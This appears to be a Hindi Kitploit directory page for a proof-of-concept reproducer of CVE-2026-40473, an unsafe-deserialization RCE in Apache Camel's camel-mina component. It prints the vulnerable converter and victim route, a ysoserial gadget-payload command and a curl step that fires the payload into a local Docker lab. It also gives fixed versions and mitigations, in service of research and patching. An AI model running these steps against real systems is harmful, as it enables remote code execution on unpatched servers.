Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/oscerd/cve-2026-40473
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषण
GitHuboscerd/cve-2026-40473

CVE-2026-40473

CVE-2026-40473 के लिए पुनरुत्पादक: Apache Camel camel-mina MinaConverter.toObjectInput असुरक्षित डिसीरियलाइज़ेशन (TCP/UDP पर RCE)

रिपॉजिटरी देखें
12 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-mina MinaConverter.toObjectInput असुरक्षित डिसीरियलाइज़ेशन पुनरुत्पादक (CVE-2026-40473)

यह प्रोजेक्ट Apache Camel के camel-mina घटक में एक Java डिसीरियलाइज़ेशन भेद्यता को प्रदर्शित करता है, जिसे CVE-2026-40473 के रूप में ट्रैक किया गया है। MinaConverter.toObjectInput(IoBuffer) टाइप कन्वर्टर प्राप्त बाइट्स को बिना किसी ObjectInputFilter के एक कच्चे ObjectInputStream में लपेटता है, इसलिए एक रूट जो TCP/UDP बॉडी को ObjectInput में कनवर्ट करता है और readObject() को कॉल करता है, उसे एक हमलावर द्वारा MINA पोर्ट पर एक तैयार किया गया सीरियलाइज़्ड ऑब्जेक्ट भेजकर रिमोट कोड एक्ज़ीक्यूशन के लिए प्रेरित किया जा सकता है।

परामर्श: https://camel.apache.org/security/CVE-2026-40473.html

भेद्यता सारांश

गुणमान
घटकcamel-mina
प्रभावित वर्गorg.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
प्रभावTCP/UDP पर रिमोट कोड एक्ज़ीक्यूशन (RCE)
प्रभावित संस्करण3.0.0 से पहले 4.14.6 तक, 4.15.0 से पहले 4.18.2 तक, 4.19.0 से पहले 4.20.0 तक
फिक्स किए गए संस्करण4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23319
रिपोर्टरवेंकटरामन कुमार (Securin)

तकनीकी विवरण

IoBuffer → ObjectInput टाइप कन्वर्टर बफर को एक कच्चे ObjectInputStream में लपेटता है:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - प्रभावित संस्करण
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // कोई ObjectInputFilter नहीं
}

जब एक camel-mina TCP/UDP उपभोक्ता कच्चे बाइट्स प्रदान करता है (उदाहरण के लिए allowDefaultCodec=false के साथ) और रूट ObjectInput (getBody(ObjectInput.class), @Body ObjectInput, या convertBodyTo(ObjectInput.class)) का अनुरोध करता है, तो यह कन्वर्टर चलता है। लौटाई गई स्ट्रीम पर readObject() को कॉल करने से हमलावर द्वारा आपूर्ति किए गए बाइट्स में कोई भी गैजेट श्रृंखला निष्पादित हो जाती है।

पीड़ित रूट

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // डिसीरियलाइज़ेशन सिंक
        exchange.getMessage().setBody("deserialized: " + obj);
    });

आवश्यक शर्तें

  • Java 17+ और Maven 3.8+ (jar बनाने के लिए)
  • Docker (रीप्रोड्यूसर चलाने के लिए)
  • ysoserial (पेलोड जनरेशन के लिए)

पुनरुत्पादन चरण

चरण 1: jar बनाएं और कंटेनर शुरू करें

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

चरण 2: एक दुर्भावनापूर्ण पेलोड उत्पन्न करें

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# JDK 21 पर CommonsCollections गैजेट उत्पन्न करने के लिए --add-opens जोड़ें:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

चरण 3: इसे MINA पोर्ट पर TCP के माध्यम से भेजें (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# बंडल किया गया हेल्पर mina:5555 पर एक कच्चा TCP सॉकेट खोलता है और बाइट्स लिखता है; पीड़ित रूट उन्हें ObjectInput में बदलता है और readObject() को कॉल करता है।
# -> ">>> RCE प्रमाण — /tmp/pwned मौजूद है: true"

(इस PoC में MINA पोर्ट 5555 कंटेनर के अंदर आंतरिक है; /exploit/inject हेल्पर अंदर से कच्चा TCP भेजता है। होस्ट से nc जैसे कच्चे क्लाइंट के साथ भेजने के लिए पोर्ट 5555 को एक्सपोज़ करें।)

चरण 4: सत्यापित करें

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

सफाई

root@kitploit:~
docker compose down

हमले के वैक्टर

कोई भी camel-mina TCP या UDP उपभोक्ता जिसका रूट बॉडी को ObjectInput (सीधे, @Body ObjectInput के माध्यम से, या convertBodyTo(ObjectInput.class) के माध्यम से) में बदलता है, उसका शोषण कोई भी कर सकता है जो MINA पोर्ट तक पहुंच सकता है।

शोषण की शर्तें

  1. एक camel-mina TCP/UDP उपभोक्ता जो प्राप्त बाइट्स के ObjectInput रूपांतरण का अनुरोध करता है।
  2. क्लासपाथ पर एक गैजेट लाइब्रेरी (उदाहरण के लिए commons-collections:3.2.1)।

अनुशंसित फिक्स

4.14.6 / 4.18.2 / 4.20.0 में अपग्रेड करें। फिक्स कन्वर्टर पर एक ObjectInputFilter / क्लास अनुमति-सूची लागू करता है (camel-netty, camel-jms और camel-infinispan पर लागू किए गए सख्तीकरण से मेल खाता है)।

शमन

अपग्रेड करने तक:

  1. अविश्वसनीय MINA बॉडी को ObjectInput में न बदलें / उन्हें डिसीरियलाइज़ न करें।
  2. गैजेट लाइब्रेरी हटाएं (commons-collections 3.x को अपग्रेड/हटाएं)।
  3. MINA पोर्ट तक नेटवर्क पहुंच को विश्वसनीय साथियों तक सीमित करें।

फ़ाइलें

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # पीड़ित: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: mina:5555 पर TCP के माध्यम से सीरियलाइज़्ड बाइट्स भेजता है
    └── resources/
        └── application.properties

अस्वीकरण

यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और फिक्स भेद्यता के लिए। बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध इसका उपयोग न करें।

टूल डाउनलोड करें